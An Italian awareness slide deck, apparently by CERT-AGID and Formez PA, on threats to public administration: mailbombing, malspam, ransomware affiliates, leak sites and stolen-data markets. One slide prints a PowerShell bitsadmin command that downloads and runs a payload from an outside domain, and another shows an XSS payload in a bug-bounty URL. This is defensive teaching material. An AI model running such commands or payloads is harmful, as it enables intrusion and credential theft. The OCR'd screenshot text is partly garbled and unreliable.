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Gli attacchi informatici

Attivita ostili nei confronti di una componente informatica, spesso compiute sfruttando le debolezze
della componente umana.




Perché la PA?

Per la tipologia di informazioni trattate e per la «xcomplessa e dispersiva» infrastruttura informatica e
organizzativa. Qualche esempio:

* Inconsapevolezza degli asset esposti: quanti sono esattamente? cosa espongono?

* Ambienti di test dimenticati: esposti senza alcuna protezione.

* Servizi in esercizio non aggiornati: framework e/o cms obsoleti.

* Problemi con le commesse e il passaggio di consegna.

*  Numerosi uffici, non tutti adeguatamente informati sulle minacce e su come evitarle.




Panorama delle minacce principali

Malware - - Esfiltrare
phishing db, credenziali, carte...

Vulnerabilita ransomware, ddos,
breach...

Estorcere
[ Web attack ] — [ Monetizzare ]< [ ]

DDoS N u Botnet
botnet noleggio dei zombi
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Chi sono gli attori?

Le vittime

Possono essere scelte o casuali:
* Target mirato, scelto per brand o categoria specifica.
* Nessun target specifico, attacchi massivi.

Sistemi informatici esposti e vulnerabili:
* Vulnerabilita note, password di default.

Personale non adeguatamente preparato:
« Vittime di phishing/smishing/malware.

Eventi di interesse nazionale:
* Es.click day




Chi sono gli attori?

Gli attaccanti

Criminali:
e Assoldati o in autonomia.
* Singolioin gruppo.

Hacktivisti, Terroristi, Paesi ostili:
» Sabotare, spiare, sorvegliare.

Proteste da Anarchici e Ambientalisti:
e Sit-in, mailbombing




Mailbombing?

» E unaforma di protesta ultimamente molto utilizzata da «anarchici» e xambientalisti».

* Consiste nell’invio di grandi volumi di email verso un singolo indirizzo di posta elettronica.

* Lo scopo e quello di farsi sentire provocando un disservizio: saturare la casella di posta.

* Per coinvolgere «volontariamente» piu persone possibili I'attivita viene pubblicizzata sui social e
su Telegram.

Tipologie di mailbombing osservate:
* sjfornisce il testo e viene chiesto di inviare una email dal proprio account di posta.
* si mettono a disposizione uno o piu server da cui inoltrare le email.




Es. Mailbombing

Lettera al presidente del Consiglio, Giuseppe Conte. Per una societa della
cura

La Socteta della Cura

Fuori dall'economia del profitto.

Siamo persone, associazioni, organizzazioni e movimenti sociali di questo Paese, impegnati
quotidianamente nella costruzione di una societa piu equa, giusta, ecologica, solidale. Abbiamo assistito
in questi anni al progressivo smantellamento dei nostri diritti e delle nostre tutele, a vantaggio di
un'economia del profitto sempre piu attenta agli interessi del privato che ha creato esistenze ai margini
e vite di scarto.

L'emergenza pandemica ha portato alla luce diseguaglianze, ingiustizie, una societa frammentata e
attraversata da fratture sociali sempre piu gravi. Per questo riteniamo che oggi pii che mai sia
necessario un cambio di rotta: le crisi sanitaria, economica, ambientale e climatica vanno
affrontate assieme, con un piano equo e unitario, bloccando le derive regionaliste.

L'emergenza non pué comportare discriminazioni tra i diritti delle persone, tra chi ha accesso a cure e
reddito e chi ne & escluso. Cosi si fanno pil profonde le diseguaglianze sociali, culturali e di genere, si
frantuma la societa in corporazioni, si rafforza la gerarchia fra vite degne e vite di scarto.

Per questo chiediamo alcuni provvedimenti immediati:

- Reddito per tutt* e aiuti adeguati fino alla fine dell'emergenza sanitaria

- Vigilanza costante sul rispetto delle misure di prevenzione, salute e sicurezza in tutti i luoghi di lavoro

- Investimenti e assunzioni per garantire sanita e istruzione pubbliche, infrastrutture sociali, accoglienza,
casa, trasporti

253 Letters Sent

Only 147 more until our goa

ENTER YOUR RETURN ADDRESS

Italy v

START WRITING




Es. Mailbombing

Partecipa alla campagna "ADOTTA UN PARLAMENTAREY", unazione di mailbombing rivolta a tutti | deputati e senatori italiani, per far sentire la nostra voce e
dire no alla Certificazione verde COVID (un vero e proprio apartheid).

Qui trovate tutte le Istruzioni per aderire. |

1. Bozze di mall da inviare a tutti | parlamentari

2. Indirizzi mail di Deputati e Senatorl

3. Siti di riferimento per contattarll tramite form

4. Bozza di tweet e messaggl da Inviare tramite social
5. Istruzioni per i Fuochi Rz020

COSA STA SUCCEDENDO ~ RDKR s
Da lunedi 10 maggio nel parlamento italiano sara discussa la ¢ | ’ J

ripresa delle attivita economiche e sociali nel rispetto delle esi
“Certificazioni verdi COVID-19" (art. o). L f

Con questa iniziativa si vuole contestare questa misura, prese
costituzicnale e umano. Stiamo parlando di un vero e propri

cittadini di serie A e serie Z. ' S
Loblettivo & quello di introdurre ovunque | passaportl vaccin
livello globale, con una segnaletica sanitaria medificabile (vacd
il suo enorme potere coercitivo sui non vaccinati. Come in Isrg
accedere a strutture e usufruire dei principali servizi essenzial

’ \ - |
Covid, saranno sostanzialmente esclusi dalla maggior parte de ‘ , \

Lunico modo per fermare questa usurpazione € quello di eser

farsl vacclnare, posto che esistono cure alternative la cui efficd .

di tutto per negare e tacitare ciol e che i vaccini sono in fase sp| D O M A N I A L L E O R E O 9 > 00
letali.

Se il 'potere’ otterra questo controllo assoluto, perderemo i no:

Attraverso questa iniziativa si vuole esercitare una pressione ¢

medificare il loro voto e impedire cosi che possa essere appro

Siamo tanti e, unendoci attraverso unazione sistematica e cool

ed accolte. Dobbiamo chiedere con massima risoluzione la rim

Mailbombing: Siamo qui
#sanatoriasubito! GOING »

@ Ti piace Siamo qui - Sanatoria subito
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Campagne malevole

* La PA non e immune agli attacchi di malware tramite campagne malspam.

* Le comunicazioni della PA sono spesso sfruttati per confezionare campagne ad hoc verso
aziende o privati cittadini.

* Molte delle campagne riscontrate sere sembrano progettate da cyber criminali italiani.

* In alcuni casi (pochi) i malware sono stati progettati in autonomia dai criminali, in altri casi viene
fatto uso di servizi Maa$S o di codice malevolo prelevato da forum di settore.

* Loscopo e sempre quello di esfiltrare informazioni: credenziali di accesso, estremi di carte di
credito.

* Periransomware, quelli piu recenti, non si ha evidenza di campagne massive. Solitamente si
tratta di campagne mirate verso un target specifico o di attivita in cui 'uso del ransomware e
previsto in una fase successiva: dopo aver ottenuto I’accesso e/o esfiltrato i dati.
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Attacchi Ransomware

Si stimano in Italia 100+ attacchi ransomware nel 2021, solo tra settore Pubblico e Privato (SpA).

& Dopple leaks X ‘ +

<« C | ©® hpooddosa3xdognixpgcrjwnsigusim7kv6hvmhh2yqezaxy3jéqnwad.onion/details

scia-6d7d

- % 0 & = “SAN CARLO GRUPPO ALIMENTARE SPA”

Home Proofs Leaks Mirror Tor search... - ‘9 hitp://www.sancarlo.it

ILANO, MILANQ, Italy an
holesalers Industry. SAN C
at this location and genera
ies in the SAN CARLO G

Comune di Brescia:

Avaddon Info x |+ r 9

UNTIL FILES

A Mail

URL <« C'  © avaddongun7rngel.onion/po

https:/fwww.comune.brescia.it

Details

L'accesso agli atli del Comune si esercita mediante esame ed estrazione di copia. L'esame dei documenti & New companies COMUNE DI VILLAFRANCA MB
rilascio di copia & subordinato al rimborso dei costi di riproduzione (10 centesimi di euro per foglio Ad e 209 Oritani - Valley Bank D,AS—I—l P U B I I I A HOME ACTIVE FINISHED ABOUT CONTACT MB
foglio A3), salve le disposizioni vigenti in materia di bollo. La richiesta di accesso deve essere mofivata. MB

Next update: 4 Days 9:53:18

L 41KB
) Company: COMUNE DI VILLAFRANCA D'ASTI H 16 KB|
images: Quad State Gauging & 11 e 2021 17a0, LUXOttICA, Part 3, 4, 5, other 1. HE [
Measurement Address: VIA ROMA 50 VILLAFRANCA D'AST| Posted on November 7, 2020 by site_admir 02 KB|
§ Next update: Coming soon... 14018 Italy MB

Example files: VbR s eEr e T e TR A g&l‘!..‘ :ccenu‘lre.corr:j - LUXOTICA_Human_Resource_part_3_filelistixt 56 KB
. = are beyond privacy and security. | really 42 KB

Accounting pt1.7z.001 Talma Servicios P DE‘[Op < “f i - LUXOTICA_banking_part_4_filelist.txt
Accoun“ng pil?zooz m P a I‘t n e r- 5 an insider. if you're interested in buying some databases| 33 KB

LUXOTICA_e_com_part_5_filelist.ixt
ALL AVAILABLE DATA WILL BE PUBLISHED ! MB

Accounting ptl.7z.003 LUXOTICA_other_part_1_filelist.txt

Accounting ptl.72.004 If you have some issues with contact us, write up to: UEGTIRA ¥l Feemlies e SIED MB
Accounting ptl.72.005 : = TSTOE — - - - MB
Accounting ptl.7z.006 nasonhuytlinn:l.onnall - lll'g . PASSAPQ LUXOTICA_banking_part_4.rar 42 KB
Accounting ptl.7z.007 b E PASSAPC LUXOTICA_e_com_part_5.rar 9 KB
Accounting ptl.7z.008 e B PASSAPC LUXOTICA_other_part_1.rar 13 KB
Accounting ptl.7z.009 Universitat HETAENERGIA o ESEE I PASSAP(C 18 KB
Accounting ptl.7z.010 nl.ltﬁl'llll'la de . PASSAP( Luxottica Group S.p.A. is an ltalian eyewear conglomerate and the world’s largest 52 KB
Accounting ptl1.7z.011 Beiens https - /Imtaenerg:l.a a sa Pura | E PASSAPC company in the eyewear industry.Itis based in Milan, lialy. MB
Accounting pt2.72.001 A "
taengrg l:onlng Soon... a:19.13 GiB i PASSAPC As avertically integrated company, Luxotica designs, manufactures, distributes and retails 90 KB
R T t 1 i PASSAPC its eyewear brands, including LensCrafters, Sunglass Hut, Apex by Sunglass Hut, Pearle 05 KB
aj Transport Inc. B e
- ANCE Vision, Target Optical, Eyemed vision care plan, and Glasses.com. Its best known brands
Thunderbird E Passapor VB
Adventist Academy Something interesting from our partners 2 408 GiB B budgetpal Ray-Ban, Persol, and Oakley. 7 KB
Astera Software File Cont Download Link i contratto | Luxottica also makes sunglasses and prescription frames for designer brands such as MB
Jalasoft ZEETANK B file per Cq Chanel, Prada, Giorgio Armani, Burberry, Versace, Dolce and Gabbana, Miu Miu and Tory MB
AECOM Burch.
VUision Source In January 2017, Luxottica announced a merger with Essilor. The combined entity would
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Sviluppatori

Esperti in codice malevolo e crittografia

R a a S si dedicano esclusivamente allo sviluppo:

- codice del Ransomware
- dashboard per gli Affiliati

Operatori

- Werificano gli Affiliati:
- Competenze
- Paese d'origine
- Affidabilita
- 52 necessario assoldano Negoziatori

Negoziatori

- Richiedono adesione al programma Raas
Prendono contatti con le Vittime che non - Noleggiane il Ransomware con |D specifico
intendono pagare il riscatte. Minacciando: - Acguistano I'accesso alle reti dagli 1AB
- Pubblicazicne dei Dati - Sfruttana il propric TEAM per:
- Attacchi DDoS - Esfittrare i doti
- Attacchi ai Clienti e informare i Media - Garantire lo persistenza

- Cifrare i dati con il Ransomware
- Percepiscono il 65% - 90% del riscatto

Settore Pubblico e Privato
- Esperti in Penetration test

In alcumni casi sono esclusi: Initial Access Broker
P . . . ; - Esperti in Post Exploitation
- Strutture Sanitarie - Pubblicizzano i settori @ cui hanno accesso " . 1'1'-' . o
- Stati post-sovietici - Presentano le potenziali vittime agli Affiliati - Esperti in esfiltrazione e gestione dei dati

- Esperti in attacchi DDo5

- Vendono a basso costo gli accessi ai Target




Compravendita di Malware e Informazioni

[BEING) Fresh Stealer Logs in October For Sale

bysmpe=n October 17,2021 at 01:23 AM buylng stealer Iogs

Total: 20.000+ Redline Stealer Logs in October
All Logs uploaded Mega.nz.
Price: 80S for Sale
Contact telegram: @

Note: only sold by month, not sold according to individual requirements.

Hew ser Payment: BTC, ETH, USDT...

mail: pass 600million
by 5 1 n g - October 31, 2021 at 08:23 AM

ny personal ap mail: pass 600million mi lid 30 % -price - § 500 3 copies

my telegram (@

= Ransomware for sale

1 ol on " Posted ]

hello, i have a ransomware for sale. proessional work and not decryptable. only 70 § XMR. contact me on jabb

by wm w:April 17,2019 at 09:16 AM

buying stealer logs (azorult, baldr)

tion (what OS, what processes are running

buying large amount, if you don't have logs from 5k+ infi

BuviNG Loads/Installs BOTS
by _ =i Rl - September 01, 2021 at 02:51 PM

| am currently looking for provider who can sell me BOTS/LOADS (Fresh HQ Installs) for spreading my RAT.

PM me with offers! & §

AVATAR _
Muwy koga Ha ¢, c++, php, node.js, Mory Ccnonb30BaTe PeiMBOpKM.

MWWy NpakTUYEeCcKW BCE M 3aBMCUT OT Ballero GogxeTa:
» Malware
» Stealer
Loader
» Ransomware
» 1 gpyroii codT

er for more information: «lais®

[Owabbep KOHTaKTbI:

* OCHOBHaA: = ™ .4 " %™ kL = (otr)
* Pe3eps: tox

* Telegram: He WCNONb3YHO

Be3 OTR MHe fawe He nulnTe.

Cpasy sepedmympyiitecs 4epes MM.




Quali dati in vendita? Ma soprattutto, sono sempre in vendita?

* Dati anagrafici

* Email e Password di account di Posta Elettronica
* Credenziali di accesso a servizi

e C(Carte di credito

* Metadati




Dati esfiltrati da malware (AgentTesla)

URL:

Username:
Password:
Application:Firefox

.gov.it

URL:

Username
Password:
Application:Firefox

.gov.it

URL:"
Username:
Password:t
Application:Firefox

URL 1y
Username:
Password:¢
Application:Firefox

struzione.it

URL:

Username:i
Password:.
Application:Firefox

struzione.it

URL:

Username:
Password:
Application:Firefox

istruzione.it

URL:
Username:
Password:

.istruzione.it

-
r* Agent Tesla -3.2.9,0 -En-glish

LOGGER sWORD RECOVERY I SETTINGS OTHERS BUILD EXPLOIT

[] Add to Startup [C] Hide File [] Persistance [] Meht File [] UAC Bypass [] Delay exec.: 0

secC.

Startup Folder: | ApplicationData - | (] Add UAC Manifest (] Kill Process:  cale exe

OPTIONS

[ Block Anti-viruses [ Protected Process [] Block Rightclick [] Restart PC [[] use Spread
Process Killer:

[[] Task Manager ] cmo [] Registry [] System Restore
Disable:

[] Task Manager ] cMmD [] Registry [C] System Restore [C] MSConfig

[ Run [[] Folder Options [C] Control Panel




Esempi di campagne malevole

- 4 Rispondi || % Rispondi a tutti [~ | = Inoltra || Altro ~

B
&5 (&

statu duction@ekonom silup
Progetto riapertura parziale dell'attivita commerciale e produttiva ai fini della ripartenza 12:45
dell’economia: chiarimenti per le attivita

A
W

]NPS DPCM 24 ottobre
L

4 ! Prestazioni e Servizi
Ministero

dell'Economia
e delle Finanze

Dati i problemi riscontrati con la passata Indennita 600 euro (Marzo 2020) INPS ha cambiato le modalita di erogazione del bonus
per una maggiore fluidita e prontezza nel caso di nuove Indennita.

Verra quindi richiesto di aggiungere una Carta di Credito/Debito sulla quale verranno accreditati i fondi per poi essere prelevati
nei 35.000 ATM/IBanmcomat in tutta ltalia.

& Autenticazione

Oggetto: Progetto riapertura graduale dell'attivita commerciale e produttiva

ai fini della ripartenza dell'economia: indicazioni per le attivita Codice Fiscale

Il ministro dell'economia e delle finanze;

DISPONE URGENTEMENTE ai titolari d'impresa di verificare mediante
I'archivio allegato a questa email le ultime modifiche effettuate alle ordinanze
e l'eventuale corrispondenza della loro categoria di attivita

all'interno dei nuovi elenchi di attivita sospese, ed eventuali modalita
associate, in modo da gestire le riaperture con un ragionevole anticipo.

(Disposizioni finali)
Le disposizioni del presente decreto verranno rese effettive dalla data del
18/11/2020

Istruzioni per l'accesso
Non ho pil accesso al cellulare

Richiedi e gestisci il tuo account

Roma, ""17/11/2020™"




Esempi di campagne malevole

ertificati di Firma Digitale

Da Infocert S.p.A <comunicazioni@infocert.it>¥¥ € Rispondi | % Rispon
Oggetto Aggiornamento critico Dike
A comunicazioni@inFocert.it ¥y Benvenuto nella procedura di aggiornamento'del

programma Dike
Gentile Cliente,

Ti informiamo che & necessario effettuare un aggiornamento critico
sulla sicurezza del programma Dike.

Segui le indicazioni riportate nel documento pdf allegato.
Scarica |'aggiornamento

Grazie per la collaborazione

Lo staff Infocert

Questa e-mail e i relativi allegati possono contenere informazioni riservate esclusivamente al DESTINATARIO specificato in
indirizzo. Le informazioni trasmesse attraverso la presente e-mail ed i suoi allegati sono diretti esclusivamente al
destinatario e devono ritenersi riservati con divieto di diffusione e di uso salva espressa autorizzazione. Se la presente
e-mail e i suoi allegati fossero stati ricevuti per errore da persona diversa dal destinatario siete pregati di distruggere tutto
quanto ricevuto e di informare il mittente con lo stesso mezzo. Qualunque utilizzazione, divulgazione o copia non autorizzata
di questa comunicazione & rigorosamente vietata e comporta violazione delle disposizioni di Legge sulla tutela dei dati
personali REGOLAMENTO EUROPEO 2016/679.Grazie per la collaborazione

InfoCert S.p.A

> [l 1allegato: Dike-Infocert-Uparade.pdf 167 kB [ salva |v

https://cert-agid.gov.it/news/nuova-campagna-malspam-ateraagent-a-tema-dike/




Posta Elettronica Certificata (e compromessa)

Da g 4 Rispondi | % Rispondi atutti |v || - Inoltra || Altro v
Oggetto 30/05/21, 23:37
A w

come da accordi in allegato trovi fattura di cortesia non valida ai fini fiscali. I1 documento in formato
elettronico e' stato inviato al SDI come da normativa fatturaziene elettronica.
Distinti saluti

Il presente messaggio & diretto esclusivamente al suo destinatario e pud contenere informazioni di natura
riservata. Chiungue lo abbia ricevuto per errore & pregato di darne notizia immediatamente al mittente e
di distruggere la copia pervenutagli. Qualsiasi altro suo utilizzo & vietato.

[ copia-ft-cor- VS04 Y08.7z 105 kB

X3 X
powershell -c 8fcp e\ Windows'system32\bitsadmin.exe SoprogramdatatehoorkVWw.exe ftransfer BPVIoede
Yprogramdataeh oorkVWw.exe;cp c\Wind ows\SysWOWE4\ bitsadmin.exe https://goldenwestway.com/goldy/145054 21009/ developer.doc
Seprogramdata ¥ oorkVWw.exe } Yaprogramdata®\developer.doc

_GK _OI(
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Web Application Attack

Le applicazioni web sono in grado di fornire risposte (informazioni) alle richieste dei visitatori grazie
all'uso dei database. Se I'applicazione risulta essere vulnerabile l'intera base dati sara esposta a
rischio.

Top 10 Web Application Security Risks

1. Injection. Injection flaws, such as SQL, NoSQL, OS, and LDAP injection, occur when untrusted data is
sent to an interpreter as part of a command or query. The attacker's hostile data can trick the interpreter
into executing unintended commands or accessing data without proper authorization.

. Broken Authentication. Application functions related to 1 and session are often
implemented incorrectly, allowing attackers to compromise passwords, keys, or session tokens, or to

. . o\ . exploit other implementation flaws to assume other users' identities temporarily or permanently.
. Sensitive Data Exposure. Many web applications and APIs do not properly protect sensitive data, such as

G I I a tt a C C h I p I u fre q u e n t I financial, healthcare, and PIl. Attackers may steal or modify such weakly protected data to cenduct credit

card fraud, identity theft, or other crimes. Sensitive data may be compromised without extra protection,

such as encryption at rest or in transit, and requires special precautions when exchanged with the browser.
° . - 1 t_t _t / 4. XML External Entities (XXE). Many older or poorly configured XML processors evaluate external enti

Top 10 owasp: https://owasp.org/www-project-top-ten L D e e e
handler, internal file shares, internal port scanning, remote code execution, and denial of service attacks.

. Broken Access Control. Restrictions on what authenticated users are allowed to do are often nat property
enforced. Attackers can exploit these flaws to access unauthorized functionality and/or data, such as
access other users’ accounts, view sensitive files, modify other users’ data, change access rights, etc.

. . . . Security Misconfiguration. Security misconfiguration is the most commonly seen issue. This is commonly

Y S Q L I nJ e Ct I O n a result of insecure default configurations, incomplete or ad hoc canfigurations, open cloud storage,

misconfigured HTTP headers, and verbose ermor ing sensitive il Not only must

all operating systems, framewaorks, libraries, and applications be securely configured, but they must be

™

w

o

o

patched/upgraded in a timely fashion.

o, ®
[ ] S e n S I t I Ve D a t a E X O S u re 7. Cross-Site Scripting XSS. XSS flaws occur whenever an application includes untrusted data in a new
web page without proper validation or escaping, or updates an existing web page with user-supplied data
. . .
* Cross-Site Scripting (XSS
I IPTI

using a browser AP| that can create HTML or JavaScript. XSS allows attackers to execute scripts in the
victim's browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites

. Insecure D i ion. Insecure ial; often leads to remote code execution. Even if
deserialization flaws do not result in remote code execution, they can be used to perform attacks, including
replay attacks, injection attacks, and privilege escalation attacks.

. Using Components with Known Vulnerabilities. Components, such as libraries, frameworks, and other
software modules, run with the same privileges as the application. If a vulnerable component is exploited,
such an attack can facilitate serious data loss or server takeover. Applications and APIs using components
with known i may L ine appli defenses and enable various attacks and impacts.

. Insufficient Logging & Monitoring. Insufficient logging and monitoring, coupled with missing or inefiective
integration with incident response, allows atiackers to further attack systems, maintain persistence, pivot to
more systems, and tamper, extract, or destroy data. Most breach studies show time to detect a breach is
over 200 days, typically detected by external parties rather than internal processes or monitoring.

@

©

s



https://owasp.org/www-project-top-ten/

Perché esistono ancora queste vulnerabilita?

 Perché |'obiettivo e quello di erogare un servizio e non di metterlo in sicurezza.

* Perché sviluppare in sicurezza richiede piu tempo (+ righe di codice).

* Perché il VA/PT non viene quasi mai richiesto.

e Perché chi effettua un VA/PT si attende un «OK» che li sollevi a vita da ogni responsabilita.
* Perchéi CMS non vengono aggiornati.

* Perché si fa abuso di plugin di terze parti, spesso obsoleti e/o non mantenuti.

Secondo monitoraggio dello stato di aggiornamento del protocollo HTTPS e dei CMS sui sistemi della PA
https://cert-agid.gov.it/news/secondo-monitoraggio-dello-stato-di-aggiornamento-del-protocollo-https-e-dei-cms-sui-sistemi-della-pa/

Uno sguardo ai server della Pubblica Amministrazione attraverso i dati di Shodan
https://cert-agid.gov.it/news/mappatura-delle-vulnerabilita-della-pubblica-amministrazione-mediante-fonti-osint/




Proteggersi da questi attacchi?

Antivirus e protezioni perimetrali non sono sufficienti a contrastare le minacce appena descritte.
Quindi, cosa possiamo fare?

 Formare e sensibilizzare gli sviluppatori sui rischi legati a queste tipologie di vulnerabilita (rif.
OWASP).

* Mantenere i framework aggiornati all'ultima release. Limitare I'uso di plugin di terze parti.

* Sfruttare al meglio i vantaggi della crittografia per memorizzare i dati nel DB e per la trasmissione
delle informazioni.

» Effettuare periodicamente code review e VA/PT.

* Schedulare un processo di backup.




Problemi per le vittime, risorse per gli attaccanti

OpenBugBounty.org OBB-1032371

3,i rica.crea.gov.it Cross Site Scripting Vulnerability
Report ID: 0BB-1032371

NDT[}'[ER| | DOMAIN | gG\f.iI

Special defacements only L) FullexWildcard E8 Onhold (Unpublished) only L) Security Researcher Oxrocky, a holder of 8 badges for responsible and coordinated

disclosure, found Cross Site Scripting security vulnerability affecting rica.crea.gov.it website
Date | ALL ][ Apply fiiter |

and its users.

Total notifications: 1,792 of which 737 single ip and 1,055 mass defacements

Legend: Following the coordinated and responsible vulnerability disclosure guidelines of the 1SO
H - Homepage defacement
M - Mass defacement {click to view all defacements of this IP) 29147 standard, Open Bug Bounty has:

R - Redefacement (click to view all defacements of this site)

L - IP address location

¥ - Special defacement (special defacements are important websites) - - . . .
a. verified the vulnerability and confirmed its existence;

Date Notifier H MR L Domain 0s View b. notified the website operator about its existence.

20210410 Royal Battler BD M [ 54 gov.it/image... Linux mirrar

202110320 Morccan Revolution R D& cibetia.gov.it.. Win 2012 mirror

20210208 R Dl# ra gov.itim... Linux mirror Affected Website: rica.crea.gowv.it

202002725 R D0 loridia.gov.i... Linux mirror .

[ —— R DI# simeno govi.. Linux N Open Bug Bounty Program: Create your bounty program now. It's open and free.
20201211 PikunPelple H =84 Linux mirror Vulnerable Application: Custom Code

202011027 Tren Cyher Army [N RS itimages/._ Linux mirror

202000929 ackHaT R Dl ovitjoomlal... Linux mirror Vulnerability Type: XSS (Cross Site Scripting) / CWE-79

20200621 [N § gov.itkroos jpg Linux mirror

e — B A Fr— Linux CVSSv3 Score: 6.1 [CVSS5:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/1:L/A:N]
20200423 L N modo.gOv L. FreeBSD Disclosure Standard: Coordinated Disclosure based on IS0 29147 guidelines
202010403 [N § 2oviVBD. Linux ’

202004/01 MR DIld# ‘docitraspa... Linux mirror Discovered and Reported by: Oxrocky

2020/0330 H R D0+ edera gov.it Linux mirror - . N

Snz0Es % —— Linux JE— Remediation Guide: OWASP XSS Prevention Cheat Sheet

20200316 H = ri.gavit Win 2012 mirror Bugzilla Vulnerability Data

o D — o - A Valnrabity Dta{ Confuraton]

- ' e o Export Vulnerability Data: Mantis Vulnerability Data

20200313 [N § cibetia.gov.it! Win 2012 mirror .

2020/0224 R Dl# loridia.gov.... Linux Splunk \l’ulner.a.blllty Data

SR Wor LI it L XML Vulnerability Data [ XSD ]

2020002722 Hmer Dl# Linux :

20200222 nmr Il _govit Linux mirror Vulnerable URL:

20200222 P HuMr Il wtico gov.it FreeBSD) mirror

202010222 Parani C; HuR Dlw# apoli.govit FreeBSD mirrar

91011121314 15 16 17 18 19 20 21 22 23 24 2526 27 28 29 30 https://rica.crea.gov.it/search.php?search_term="=<video
DISCLAIMER: all the information contained in Zone-H's cybercrime archive were sither collected online from public sources or direcily notified anonymously to us. Zone-H is neither src=1 href=1
responsible for the reported computer crimes nor it is directly of indirectly involved with them. You might find some offensive contents in the mimored defacements. Zone-H didn't produce them so onerror=" ] avascri p t:alert ( "OPENBUGBOUNTY " ) L ‘,‘ video>
wa cannot be responsible for such contents. Read more "




Come procedere se un attacco e andato a buon fine?

* Gestire l'incidente con il supporto di un team di esperti;

* |dentificare ed analizzare la natura della violazione;

 Determinare la tipologia e la quantita dei dati eventualmente compromessi;
* Rilevare la possibilita di esfiltrazione;

* Predisporre un piano di remediation;

* Rilevare ed acquisire le evidenze informatiche;

* Estrapolare gli indicatori di compromissione (loC);

e Utilizzare gli loC per individuare ulteriori minacce della stessa tipologia;

* Valutare se e con chi condividere gli artefatti.




Condivisione di indicatori di compromissione per la protezione della
Pubblica Amministrazione

Le Pubbliche Amministrazioni interessate possono esprimere la volonta di aderire al flusso di Indicatori di
compromissione (Feed loC) del CERT-AGID per la protezione della propria Amministrazione da minacce
Malware e Phishing compilando I'apposito modulo.

Come aderire
1. Scarica e compila il modulo di accreditamento in formato Libre Office o in formato Microsoft Office.
2. Compila il modulo con i riferimenti della persona tecnica e I'elenco (max 20) di indirizzi IPv4 da

abilitare.
3. Inviail modulo compilato per e-mail a info@cert-agid.gov.it

https://cert-agid.gov.it/scarica-il-modulo-accreditamento-feed-ioc/ CERT-AGID

Formez.PA




CERT-AGID

e-mail : info@cert-agid.gov.it
web : https://cert-agid.gov.it
twitter : @agidcert

telegram : @certagid

Per segnalarci nuove campagne malware / phishing
/ scam da analizzare basta allegare I’email originale

sospetta e inviarla all’indirizzo:

malware@cert-agid.gov.it

Qr=ses pensEs QAGIDIS:S. Formez.PA



